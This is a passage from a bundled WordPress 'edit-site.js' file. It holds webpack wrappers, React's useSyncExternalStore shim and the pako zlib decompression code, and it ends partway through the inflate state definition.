/home/idolaotomotif/.trash/wp-includes/js/dist/edit-site.js
/******/ (() => { // webpackBootstrap
/******/ var __webpack_modules__ = ({
/***/ 83:
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/**
* @license React
* use-sync-external-store-shim.production.js
*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
var React = __webpack_require__(1609);
function is(x, y) {
return (x === y && (0 !== x || 1 / x === 1 / y)) || (x !== x && y !== y);
}
var objectIs = "function" === typeof Object.is ? Object.is : is,
useState = React.useState,
useEffect = React.useEffect,
useLayoutEffect = React.useLayoutEffect,
useDebugValue = React.useDebugValue;
function useSyncExternalStore$2(subscribe, getSnapshot) {
var value = getSnapshot(),
_useState = useState({ inst: { value: value, getSnapshot: getSnapshot } }),
inst = _useState[0].inst,
forceUpdate = _useState[1];
useLayoutEffect(
function () {
inst.value = value;
inst.getSnapshot = getSnapshot;
checkIfSnapshotChanged(inst) && forceUpdate({ inst: inst });
},
[subscribe, value, getSnapshot]
);
useEffect(
function () {
checkIfSnapshotChanged(inst) && forceUpdate({ inst: inst });
return subscribe(function () {
checkIfSnapshotChanged(inst) && forceUpdate({ inst: inst });
});
},
[subscribe]
);
useDebugValue(value);
return value;
}
function checkIfSnapshotChanged(inst) {
var latestGetSnapshot = inst.getSnapshot;
inst = inst.value;
try {
var nextValue = latestGetSnapshot();
return !objectIs(inst, nextValue);
} catch (error) {
return !0;
}
}
function useSyncExternalStore$1(subscribe, getSnapshot) {
return getSnapshot();
}
var shim =
"undefined" === typeof window ||
"undefined" === typeof window.document ||
"undefined" === typeof window.document.createElement
? useSyncExternalStore$1
: useSyncExternalStore$2;
exports.useSyncExternalStore =
void 0 !== React.useSyncExternalStore ? React.useSyncExternalStore : shim;
/***/ }),
/***/ 422:
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
"use strict";
if (true) {
module.exports = __webpack_require__(83);
} else {}
/***/ }),
/***/ 1609:
/***/ ((module) => {
"use strict";
module.exports = window["React"];
/***/ }),
/***/ 4660:
/***/ ((module) => {
/**
* Credits:
*
* lib-font
* https://github.com/Pomax/lib-font
* https://github.com/Pomax/lib-font/blob/master/lib/inflate.js
*
* The MIT License (MIT)
*
* Copyright (c) 2020 pomax@nihongoresources.com
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/* eslint eslint-comments/no-unlimited-disable: 0 */
/* eslint-disable */
/* pako 1.0.10 nodeca/pako */(function(f){if(true){module.exports=f()}else { var g; }})(function(){var define,module,exports;return (function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c=undefined;if(!f&&c)return require(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u=undefined,i=0;i<t.length;i++)o(t[i]);return o}return r})()({1:[function(require,module,exports){
'use strict';
var TYPED_OK = (typeof Uint8Array !== 'undefined') &&
(typeof Uint16Array !== 'undefined') &&
(typeof Int32Array !== 'undefined');
function _has(obj, key) {
return Object.prototype.hasOwnProperty.call(obj, key);
}
exports.assign = function (obj /*from1, from2, from3, ...*/) {
var sources = Array.prototype.slice.call(arguments, 1);
while (sources.length) {
var source = sources.shift();
if (!source) { continue; }
if (typeof source !== 'object') {
throw new TypeError(source + 'must be non-object');
}
for (var p in source) {
if (_has(source, p)) {
obj[p] = source[p];
}
}
}
return obj;
};
// reduce buffer size, avoiding mem copy
exports.shrinkBuf = function (buf, size) {
if (buf.length === size) { return buf; }
if (buf.subarray) { return buf.subarray(0, size); }
buf.length = size;
return buf;
};
var fnTyped = {
arraySet: function (dest, src, src_offs, len, dest_offs) {
if (src.subarray && dest.subarray) {
dest.set(src.subarray(src_offs, src_offs + len), dest_offs);
return;
}
// Fallback to ordinary array
for (var i = 0; i < len; i++) {
dest[dest_offs + i] = src[src_offs + i];
}
},
// Join array of chunks to single array.
flattenChunks: function (chunks) {
var i, l, len, pos, chunk, result;
// calculate data length
len = 0;
for (i = 0, l = chunks.length; i < l; i++) {
len += chunks[i].length;
}
// join chunks
result = new Uint8Array(len);
pos = 0;
for (i = 0, l = chunks.length; i < l; i++) {
chunk = chunks[i];
result.set(chunk, pos);
pos += chunk.length;
}
return result;
}
};
var fnUntyped = {
arraySet: function (dest, src, src_offs, len, dest_offs) {
for (var i = 0; i < len; i++) {
dest[dest_offs + i] = src[src_offs + i];
}
},
// Join array of chunks to single array.
flattenChunks: function (chunks) {
return [].concat.apply([], chunks);
}
};
// Enable/Disable typed arrays use, for testing
//
exports.setTyped = function (on) {
if (on) {
exports.Buf8 = Uint8Array;
exports.Buf16 = Uint16Array;
exports.Buf32 = Int32Array;
exports.assign(exports, fnTyped);
} else {
exports.Buf8 = Array;
exports.Buf16 = Array;
exports.Buf32 = Array;
exports.assign(exports, fnUntyped);
}
};
exports.setTyped(TYPED_OK);
},{}],2:[function(require,module,exports){
// String encode/decode helpers
'use strict';
var utils = require('./common');
// Quick check if we can use fast array to bin string conversion
//
// - apply(Array) can fail on Android 2.2
// - apply(Uint8Array) can fail on iOS 5.1 Safari
//
var STR_APPLY_OK = true;
var STR_APPLY_UIA_OK = true;
try { String.fromCharCode.apply(null, [ 0 ]); } catch (__) { STR_APPLY_OK = false; }
try { String.fromCharCode.apply(null, new Uint8Array(1)); } catch (__) { STR_APPLY_UIA_OK = false; }
// Table with utf8 lengths (calculated by first byte of sequence)
// Note, that 5 & 6-byte values and some 4-byte values can not be represented in JS,
// because max possible codepoint is 0x10ffff
var _utf8len = new utils.Buf8(256);
for (var q = 0; q < 256; q++) {
_utf8len[q] = (q >= 252 ? 6 : q >= 248 ? 5 : q >= 240 ? 4 : q >= 224 ? 3 : q >= 192 ? 2 : 1);
}
_utf8len[254] = _utf8len[254] = 1; // Invalid sequence start
// convert string to array (typed, when possible)
exports.string2buf = function (str) {
var buf, c, c2, m_pos, i, str_len = str.length, buf_len = 0;
// count binary size
for (m_pos = 0; m_pos < str_len; m_pos++) {
c = str.charCodeAt(m_pos);
if ((c & 0xfc00) === 0xd800 && (m_pos + 1 < str_len)) {
c2 = str.charCodeAt(m_pos + 1);
if ((c2 & 0xfc00) === 0xdc00) {
c = 0x10000 + ((c - 0xd800) << 10) + (c2 - 0xdc00);
m_pos++;
}
}
buf_len += c < 0x80 ? 1 : c < 0x800 ? 2 : c < 0x10000 ? 3 : 4;
}
// allocate buffer
buf = new utils.Buf8(buf_len);
// convert
for (i = 0, m_pos = 0; i < buf_len; m_pos++) {
c = str.charCodeAt(m_pos);
if ((c & 0xfc00) === 0xd800 && (m_pos + 1 < str_len)) {
c2 = str.charCodeAt(m_pos + 1);
if ((c2 & 0xfc00) === 0xdc00) {
c = 0x10000 + ((c - 0xd800) << 10) + (c2 - 0xdc00);
m_pos++;
}
}
if (c < 0x80) {
/* one byte */
buf[i++] = c;
} else if (c < 0x800) {
/* two bytes */
buf[i++] = 0xC0 | (c >>> 6);
buf[i++] = 0x80 | (c & 0x3f);
} else if (c < 0x10000) {
/* three bytes */
buf[i++] = 0xE0 | (c >>> 12);
buf[i++] = 0x80 | (c >>> 6 & 0x3f);
buf[i++] = 0x80 | (c & 0x3f);
} else {
/* four bytes */
buf[i++] = 0xf0 | (c >>> 18);
buf[i++] = 0x80 | (c >>> 12 & 0x3f);
buf[i++] = 0x80 | (c >>> 6 & 0x3f);
buf[i++] = 0x80 | (c & 0x3f);
}
}
return buf;
};
// Helper (used in 2 places)
function buf2binstring(buf, len) {
// On Chrome, the arguments in a function call that are allowed is `65534`.
// If the length of the buffer is smaller than that, we can use this optimization,
// otherwise we will take a slower path.
if (len < 65534) {
if ((buf.subarray && STR_APPLY_UIA_OK) || (!buf.subarray && STR_APPLY_OK)) {
return String.fromCharCode.apply(null, utils.shrinkBuf(buf, len));
}
}
var result = '';
for (var i = 0; i < len; i++) {
result += String.fromCharCode(buf[i]);
}
return result;
}
// Convert byte array to binary string
exports.buf2binstring = function (buf) {
return buf2binstring(buf, buf.length);
};
// Convert binary string (typed, when possible)
exports.binstring2buf = function (str) {
var buf = new utils.Buf8(str.length);
for (var i = 0, len = buf.length; i < len; i++) {
buf[i] = str.charCodeAt(i);
}
return buf;
};
// convert array to string
exports.buf2string = function (buf, max) {
var i, out, c, c_len;
var len = max || buf.length;
// Reserve max possible length (2 words per char)
// NB: by unknown reasons, Array is significantly faster for
// String.fromCharCode.apply than Uint16Array.
var utf16buf = new Array(len * 2);
for (out = 0, i = 0; i < len;) {
c = buf[i++];
// quick process ascii
if (c < 0x80) { utf16buf[out++] = c; continue; }
c_len = _utf8len[c];
// skip 5 & 6 byte codes
if (c_len > 4) { utf16buf[out++] = 0xfffd; i += c_len - 1; continue; }
// apply mask on first byte
c &= c_len === 2 ? 0x1f : c_len === 3 ? 0x0f : 0x07;
// join the rest
while (c_len > 1 && i < len) {
c = (c << 6) | (buf[i++] & 0x3f);
c_len--;
}
// terminated by end of string?
if (c_len > 1) { utf16buf[out++] = 0xfffd; continue; }
if (c < 0x10000) {
utf16buf[out++] = c;
} else {
c -= 0x10000;
utf16buf[out++] = 0xd800 | ((c >> 10) & 0x3ff);
utf16buf[out++] = 0xdc00 | (c & 0x3ff);
}
}
return buf2binstring(utf16buf, out);
};
// Calculate max possible position in utf8 buffer,
// that will not break sequence. If that's not possible
// - (very small limits) return max size as is.
//
// buf[] - utf8 bytes array
// max - length limit (mandatory);
exports.utf8border = function (buf, max) {
var pos;
max = max || buf.length;
if (max > buf.length) { max = buf.length; }
// go back from last position, until start of sequence found
pos = max - 1;
while (pos >= 0 && (buf[pos] & 0xC0) === 0x80) { pos--; }
// Very small and broken sequence,
// return max, because we should return something anyway.
if (pos < 0) { return max; }
// If we came to start of buffer - that means buffer is too small,
// return max too.
if (pos === 0) { return max; }
return (pos + _utf8len[buf[pos]] > max) ? pos : max;
};
},{"./common":1}],3:[function(require,module,exports){
'use strict';
// Note: adler32 takes 12% for level 0 and 2% for level 6.
// It isn't worth it to make additional optimizations as in original.
// Small size is preferable.
// (C) 1995-2013 Jean-loup Gailly and Mark Adler
// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
//
// This software is provided 'as-is', without any express or implied
// warranty. In no event will the authors be held liable for any damages
// arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented; you must not
// claim that you wrote the original software. If you use this software
// in a product, an acknowledgment in the product documentation would be
// appreciated but is not required.
// 2. Altered source versions must be plainly marked as such, and must not be
// misrepresented as being the original software.
// 3. This notice may not be removed or altered from any source distribution.
function adler32(adler, buf, len, pos) {
var s1 = (adler & 0xffff) |0,
s2 = ((adler >>> 16) & 0xffff) |0,
n = 0;
while (len !== 0) {
// Set limit ~ twice less than 5552, to keep
// s2 in 31-bits, because we force signed ints.
// in other case %= will fail.
n = len > 2000 ? 2000 : len;
len -= n;
do {
s1 = (s1 + buf[pos++]) |0;
s2 = (s2 + s1) |0;
} while (--n);
s1 %= 65521;
s2 %= 65521;
}
return (s1 | (s2 << 16)) |0;
}
module.exports = adler32;
},{}],4:[function(require,module,exports){
'use strict';
// (C) 1995-2013 Jean-loup Gailly and Mark Adler
// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
//
// This software is provided 'as-is', without any express or implied
// warranty. In no event will the authors be held liable for any damages
// arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented; you must not
// claim that you wrote the original software. If you use this software
// in a product, an acknowledgment in the product documentation would be
// appreciated but is not required.
// 2. Altered source versions must be plainly marked as such, and must not be
// misrepresented as being the original software.
// 3. This notice may not be removed or altered from any source distribution.
module.exports = {
/* Allowed flush values; see deflate() and inflate() below for details */
Z_NO_FLUSH: 0,
Z_PARTIAL_FLUSH: 1,
Z_SYNC_FLUSH: 2,
Z_FULL_FLUSH: 3,
Z_FINISH: 4,
Z_BLOCK: 5,
Z_TREES: 6,
/* Return codes for the compression/decompression functions. Negative values
* are errors, positive values are used for special but normal events.
*/
Z_OK: 0,
Z_STREAM_END: 1,
Z_NEED_DICT: 2,
Z_ERRNO: -1,
Z_STREAM_ERROR: -2,
Z_DATA_ERROR: -3,
//Z_MEM_ERROR: -4,
Z_BUF_ERROR: -5,
//Z_VERSION_ERROR: -6,
/* compression levels */
Z_NO_COMPRESSION: 0,
Z_BEST_SPEED: 1,
Z_BEST_COMPRESSION: 9,
Z_DEFAULT_COMPRESSION: -1,
Z_FILTERED: 1,
Z_HUFFMAN_ONLY: 2,
Z_RLE: 3,
Z_FIXED: 4,
Z_DEFAULT_STRATEGY: 0,
/* Possible values of the data_type field (though see inflate()) */
Z_BINARY: 0,
Z_TEXT: 1,
//Z_ASCII: 1, // = Z_TEXT (deprecated)
Z_UNKNOWN: 2,
/* The deflate compression method */
Z_DEFLATED: 8
//Z_NULL: null // Use -1 or null inline, depending on var type
};
},{}],5:[function(require,module,exports){
'use strict';
// Note: we can't get significant speed boost here.
// So write code to minimize size - no pregenerated tables
// and array tools dependencies.
// (C) 1995-2013 Jean-loup Gailly and Mark Adler
// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
//
// This software is provided 'as-is', without any express or implied
// warranty. In no event will the authors be held liable for any damages
// arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented; you must not
// claim that you wrote the original software. If you use this software
// in a product, an acknowledgment in the product documentation would be
// appreciated but is not required.
// 2. Altered source versions must be plainly marked as such, and must not be
// misrepresented as being the original software.
// 3. This notice may not be removed or altered from any source distribution.
// Use ordinary array, since untyped makes no boost here
function makeTable() {
var c, table = [];
for (var n = 0; n < 256; n++) {
c = n;
for (var k = 0; k < 8; k++) {
c = ((c & 1) ? (0xEDB88320 ^ (c >>> 1)) : (c >>> 1));
}
table[n] = c;
}
return table;
}
// Create table on load. Just 255 signed longs. Not a problem.
var crcTable = makeTable();
function crc32(crc, buf, len, pos) {
var t = crcTable,
end = pos + len;
crc ^= -1;
for (var i = pos; i < end; i++) {
crc = (crc >>> 8) ^ t[(crc ^ buf[i]) & 0xFF];
}
return (crc ^ (-1)); // >>> 0;
}
module.exports = crc32;
},{}],6:[function(require,module,exports){
'use strict';
// (C) 1995-2013 Jean-loup Gailly and Mark Adler
// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
//
// This software is provided 'as-is', without any express or implied
// warranty. In no event will the authors be held liable for any damages
// arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented; you must not
// claim that you wrote the original software. If you use this software
// in a product, an acknowledgment in the product documentation would be
// appreciated but is not required.
// 2. Altered source versions must be plainly marked as such, and must not be
// misrepresented as being the original software.
// 3. This notice may not be removed or altered from any source distribution.
function GZheader() {
/* true if compressed data believed to be text */
this.text = 0;
/* modification time */
this.time = 0;
/* extra flags (not used when writing a gzip file) */
this.xflags = 0;
/* operating system */
this.os = 0;
/* pointer to extra field or Z_NULL if none */
this.extra = null;
/* extra field length (valid if extra != Z_NULL) */
this.extra_len = 0; // Actually, we don't need it in JS,
// but leave for few code modifications
//
// Setup limits is not necessary because in js we should not preallocate memory
// for inflate use constant limit in 65536 bytes
//
/* space at extra (only when reading header) */
// this.extra_max = 0;
/* pointer to zero-terminated file name or Z_NULL */
this.name = '';
/* space at name (only when reading header) */
// this.name_max = 0;
/* pointer to zero-terminated comment or Z_NULL */
this.comment = '';
/* space at comment (only when reading header) */
// this.comm_max = 0;
/* true if there was or will be a header crc */
this.hcrc = 0;
/* true when done reading gzip header (not used when writing a gzip file) */
this.done = false;
}
module.exports = GZheader;
},{}],7:[function(require,module,exports){
'use strict';
// (C) 1995-2013 Jean-loup Gailly and Mark Adler
// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
//
// This software is provided 'as-is', without any express or implied
// warranty. In no event will the authors be held liable for any damages
// arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented; you must not
// claim that you wrote the original software. If you use this software
// in a product, an acknowledgment in the product documentation would be
// appreciated but is not required.
// 2. Altered source versions must be plainly marked as such, and must not be
// misrepresented as being the original software.
// 3. This notice may not be removed or altered from any source distribution.
// See state defs from inflate.js
var BAD = 30; /* got a data error -- remain here until reset */
var TYPE = 12; /* i: waiting for type bits, including last-flag bit */
/*
Decode literal, length, and distance codes and write out the resulting
literal and match bytes until either not enough input or output is
available, an end-of-block is encountered, or a data error is encountered.
When large enough input and output buffers are supplied to inflate(), for
example, a 16K input buffer and a 64K output buffer, more than 95% of the
inflate execution time is spent in this routine.
Entry assumptions:
state.mode === LEN
strm.avail_in >= 6
strm.avail_out >= 258
start >= strm.avail_out
state.bits < 8
On return, state.mode is one of:
LEN -- ran out of enough output space or enough available input
TYPE -- reached end of block code, inflate() to interpret next block
BAD -- error in block data
Notes:
- The maximum input bits used by a length/distance pair is 15 bits for the
length code, 5 bits for the length extra, 15 bits for the distance code,
and 13 bits for the distance extra. This totals 48 bits, or six bytes.
Therefore if strm.avail_in >= 6, then there is enough input to avoid
checking for available input while decoding.
- The maximum bytes that a single length/distance pair can output is 258
bytes, which is the maximum length that can be coded. inflate_fast()
requires strm.avail_out >= 258 for each loop to avoid checking for
output space.
*/
module.exports = function inflate_fast(strm, start) {
var state;
var _in; /* local strm.input */
var last; /* have enough input while in < last */
var _out; /* local strm.output */
var beg; /* inflate()'s initial strm.output */
var end; /* while out < end, enough space available */
//#ifdef INFLATE_STRICT
var dmax; /* maximum distance from zlib header */
//#endif
var wsize; /* window size or zero if not using window */
var whave; /* valid bytes in the window */
var wnext; /* window write index */
// Use `s_window` instead `window`, avoid conflict with instrumentation tools
var s_window; /* allocated sliding window, if wsize != 0 */
var hold; /* local strm.hold */
var bits; /* local strm.bits */
var lcode; /* local strm.lencode */
var dcode; /* local strm.distcode */
var lmask; /* mask for first level of length codes */
var dmask; /* mask for first level of distance codes */
var here; /* retrieved table entry */
var op; /* code bits, operation, extra bits, or */
/* window position, window bytes to copy */
var len; /* match length, unused bytes */
var dist; /* match distance */
var from; /* where to copy match from */
var from_source;
var input, output; // JS specific, because we have no pointers
/* copy state to local variables */
state = strm.state;
//here = state.here;
_in = strm.next_in;
input = strm.input;
last = _in + (strm.avail_in - 5);
_out = strm.next_out;
output = strm.output;
beg = _out - (start - strm.avail_out);
end = _out + (strm.avail_out - 257);
//#ifdef INFLATE_STRICT
dmax = state.dmax;
//#endif
wsize = state.wsize;
whave = state.whave;
wnext = state.wnext;
s_window = state.window;
hold = state.hold;
bits = state.bits;
lcode = state.lencode;
dcode = state.distcode;
lmask = (1 << state.lenbits) - 1;
dmask = (1 << state.distbits) - 1;
/* decode literals and length/distances until end-of-block or not enough
input data or output space */
top:
do {
if (bits < 15) {
hold += input[_in++] << bits;
bits += 8;
hold += input[_in++] << bits;
bits += 8;
}
here = lcode[hold & lmask];
dolen:
for (;;) { // Goto emulation
op = here >>> 24/*here.bits*/;
hold >>>= op;
bits -= op;
op = (here >>> 16) & 0xff/*here.op*/;
if (op === 0) { /* literal */
//Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?
// "inflate: literal '%c'\n" :
// "inflate: literal 0x%02x\n", here.val));
output[_out++] = here & 0xffff/*here.val*/;
}
else if (op & 16) { /* length base */
len = here & 0xffff/*here.val*/;
op &= 15; /* number of extra bits */
if (op) {
if (bits < op) {
hold += input[_in++] << bits;
bits += 8;
}
len += hold & ((1 << op) - 1);
hold >>>= op;
bits -= op;
}
//Tracevv((stderr, "inflate: length %u\n", len));
if (bits < 15) {
hold += input[_in++] << bits;
bits += 8;
hold += input[_in++] << bits;
bits += 8;
}
here = dcode[hold & dmask];
dodist:
for (;;) { // goto emulation
op = here >>> 24/*here.bits*/;
hold >>>= op;
bits -= op;
op = (here >>> 16) & 0xff/*here.op*/;
if (op & 16) { /* distance base */
dist = here & 0xffff/*here.val*/;
op &= 15; /* number of extra bits */
if (bits < op) {
hold += input[_in++] << bits;
bits += 8;
if (bits < op) {
hold += input[_in++] << bits;
bits += 8;
}
}
dist += hold & ((1 << op) - 1);
//#ifdef INFLATE_STRICT
if (dist > dmax) {
strm.msg = 'invalid distance too far back';
state.mode = BAD;
break top;
}
//#endif
hold >>>= op;
bits -= op;
//Tracevv((stderr, "inflate: distance %u\n", dist));
op = _out - beg; /* max distance in output */
if (dist > op) { /* see if copy from window */
op = dist - op; /* distance back in window */
if (op > whave) {
if (state.sane) {
strm.msg = 'invalid distance too far back';
state.mode = BAD;
break top;
}
// (!) This block is disabled in zlib defaults,
// don't enable it for binary compatibility
//#ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR
// if (len <= op - whave) {
// do {
// output[_out++] = 0;
// } while (--len);
// continue top;
// }
// len -= op - whave;
// do {
// output[_out++] = 0;
// } while (--op > whave);
// if (op === 0) {
// from = _out - dist;
// do {
// output[_out++] = output[from++];
// } while (--len);
// continue top;
// }
//#endif
}
from = 0; // window index
from_source = s_window;
if (wnext === 0) { /* very common case */
from += wsize - op;
if (op < len) { /* some from window */
len -= op;
do {
output[_out++] = s_window[from++];
} while (--op);
from = _out - dist; /* rest from output */
from_source = output;
}
}
else if (wnext < op) { /* wrap around window */
from += wsize + wnext - op;
op -= wnext;
if (op < len) { /* some from end of window */
len -= op;
do {
output[_out++] = s_window[from++];
} while (--op);
from = 0;
if (wnext < len) { /* some from start of window */
op = wnext;
len -= op;
do {
output[_out++] = s_window[from++];
} while (--op);
from = _out - dist; /* rest from output */
from_source = output;
}
}
}
else { /* contiguous in window */
from += wnext - op;
if (op < len) { /* some from window */
len -= op;
do {
output[_out++] = s_window[from++];
} while (--op);
from = _out - dist; /* rest from output */
from_source = output;
}
}
while (len > 2) {
output[_out++] = from_source[from++];
output[_out++] = from_source[from++];
output[_out++] = from_source[from++];
len -= 3;
}
if (len) {
output[_out++] = from_source[from++];
if (len > 1) {
output[_out++] = from_source[from++];
}
}
}
else {
from = _out - dist; /* copy direct from output */
do { /* minimum length is three */
output[_out++] = output[from++];
output[_out++] = output[from++];
output[_out++] = output[from++];
len -= 3;
} while (len > 2);
if (len) {
output[_out++] = output[from++];
if (len > 1) {
output[_out++] = output[from++];
}
}
}
}
else if ((op & 64) === 0) { /* 2nd level distance code */
here = dcode[(here & 0xffff)/*here.val*/ + (hold & ((1 << op) - 1))];
continue dodist;
}
else {
strm.msg = 'invalid distance code';
state.mode = BAD;
break top;
}
break; // need to emulate goto via "continue"
}
}
else if ((op & 64) === 0) { /* 2nd level length code */
here = lcode[(here & 0xffff)/*here.val*/ + (hold & ((1 << op) - 1))];
continue dolen;
}
else if (op & 32) { /* end-of-block */
//Tracevv((stderr, "inflate: end of block\n"));
state.mode = TYPE;
break top;
}
else {
strm.msg = 'invalid literal/length code';
state.mode = BAD;
break top;
}
break; // need to emulate goto via "continue"
}
} while (_in < last && _out < end);
/* return unused bytes (on entry, bits < 8, so in won't go too far back) */
len = bits >> 3;
_in -= len;
bits -= len << 3;
hold &= (1 << bits) - 1;
/* update state and return */
strm.next_in = _in;
strm.next_out = _out;
strm.avail_in = (_in < last ? 5 + (last - _in) : 5 - (_in - last));
strm.avail_out = (_out < end ? 257 + (end - _out) : 257 - (_out - end));
state.hold = hold;
state.bits = bits;
return;
};
},{}],8:[function(require,module,exports){
'use strict';
// (C) 1995-2013 Jean-loup Gailly and Mark Adler
// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
//
// This software is provided 'as-is', without any express or implied
// warranty. In no event will the authors be held liable for any damages
// arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented; you must not
// claim that you wrote the original software. If you use this software
// in a product, an acknowledgment in the product documentation would be
// appreciated but is not required.
// 2. Altered source versions must be plainly marked as such, and must not be
// misrepresented as being the original software.
// 3. This notice may not be removed or altered from any source distribution.
var utils = require('../utils/common');
var adler32 = require('./adler32');
var crc32 = require('./crc32');
var inflate_fast = require('./inffast');
var inflate_table = require('./inftrees');
var CODES = 0;
var LENS = 1;
var DISTS = 2;
/* Public constants ==========================================================*/
/* ===========================================================================*/
/* Allowed flush values; see deflate() and inflate() below for details */
//var Z_NO_FLUSH = 0;
//var Z_PARTIAL_FLUSH = 1;
//var Z_SYNC_FLUSH = 2;
//var Z_FULL_FLUSH = 3;
var Z_FINISH = 4;
var Z_BLOCK = 5;
var Z_TREES = 6;
/* Return codes for the compression/decompression functions. Negative values
* are errors, positive values are used for special but normal events.
*/
var Z_OK = 0;
var Z_STREAM_END = 1;
var Z_NEED_DICT = 2;
//var Z_ERRNO = -1;
var Z_STREAM_ERROR = -2;
var Z_DATA_ERROR = -3;
var Z_MEM_ERROR = -4;
var Z_BUF_ERROR = -5;
//var Z_VERSION_ERROR = -6;
/* The deflate compression method */
var Z_DEFLATED = 8;
/* STATES ====================================================================*/
/* ===========================================================================*/
var HEAD = 1; /* i: waiting for magic header */
var FLAGS = 2; /* i: waiting for method and flags (gzip) */
var TIME = 3; /* i: waiting for modification time (gzip) */
var OS = 4; /* i: waiting for extra flags and operating system (gzip) */
var EXLEN = 5; /* i: waiting for extra length (gzip) */
var EXTRA = 6; /* i: waiting for extra bytes (gzip) */
var NAME = 7; /* i: waiting for end of file name (gzip) */
var COMMENT = 8; /* i: waiting for end of comment (gzip) */
var HCRC = 9; /* i: waiting for header crc (gzip) */
var DICTID = 10; /* i: waiting for dictionary check value */
var DICT = 11; /* waiting for inflateSetDictionary() call */
var TYPE = 12; /* i: waiting for type bits, including last-flag bit */
var TYPEDO = 13; /* i: same, but skip check to exit inflate on new block */
var STORED = 14; /* i: waiting for stored size (length and complement) */
var COPY_ = 15; /* i/o: same as COPY below, but only first time in */
var COPY = 16; /* i/o: waiting for input or output to copy stored block */
var TABLE = 17; /* i: waiting for dynamic block table lengths */
var LENLENS = 18; /* i: waiting for code length code lengths */
var CODELENS = 19; /* i: waiting for length/lit and distance code lengths */
var LEN_ = 20; /* i: same as LEN below, but only first time in */
var LEN = 21; /* i: waiting for length/lit/eob code */
var LENEXT = 22; /* i: waiting for length extra bits */
var DIST = 23; /* i: waiting for distance code */
var DISTEXT = 24; /* i: waiting for distance extra bits */
var MATCH = 25; /* o: waiting for output space to copy string */
var LIT = 26; /* o: waiting for output space to write literal */
var CHECK = 27; /* i: waiting for 32-bit check value */
var LENGTH = 28; /* i: waiting for 32-bit length (gzip) */
var DONE = 29; /* finished check, done -- remain here until reset */
var BAD = 30; /* got a data error -- remain here until reset */
var MEM = 31; /* got an inflate() memory error -- remain here until reset */
var SYNC = 32; /* looking for synchronization bytes to restart inflate() */
/* ===========================================================================*/
var ENOUGH_LENS = 852;
var ENOUGH_DISTS = 592;
//var ENOUGH = (ENOUGH_LENS+ENOUGH_DISTS);
var MAX_WBITS = 15;
/* 32K LZ77 window */
var DEF_WBITS = MAX_WBITS;
function zswap32(q) {
return (((q >>> 24) & 0xff) +
((q >>> 8) & 0xff00) +
((q & 0xff00) << 8) +
((q & 0xff) << 24));
}
function InflateState() {
this.mode = 0; /* current inflate mode */
this.last = false; /* true if processing last block */
this.wrap = 0; /* bit 0 true for zlib, bit 1 true for gzip */
this.havedict = false; /* true if dictionary provided */
this.flags = 0; /* gzip header method and flags (0 if zlib) */
this.dmax = 0; /* zlib header max distance (INFLATE_STRICT) */
this.check = 0; /* protected copy of check value */
this.total = 0; /* protected copy of output count */
// TODO: may be {}
this.head = null; /* where to save gzip header information */
/* sliding window */
this.wbits = 0; /* log base 2 of requested window size */
this.wsize = 0; /* window size or zero if not using window */
this.whave = 0; /* valid bytes in the window */
this.wnext = 0; /* window write index */
this.window = null; /* allocated sliding window, if needed */
/* bit accumulator */
this.hold = 0; /* input bit accumulator */
this.bits = 0; /* number of bits in "in" */
/* for string and stored block copying */
this.length = 0; /* literal or length of data to copy */
this.offset = 0; /* distance back to copy string from */
/* for table and code decoding */
this.extra = 0; /* extra bits needed */
/* fixed and dynamic code tables */
this.lencode = null; /* starting table for length/literal codes */
this.distcode = null; /* starting table for distance codes */
this.lenbits = 0; /* index bits for lencode */
this.distbits = 0; /* index bits for distcode */
/* dynamic table building */
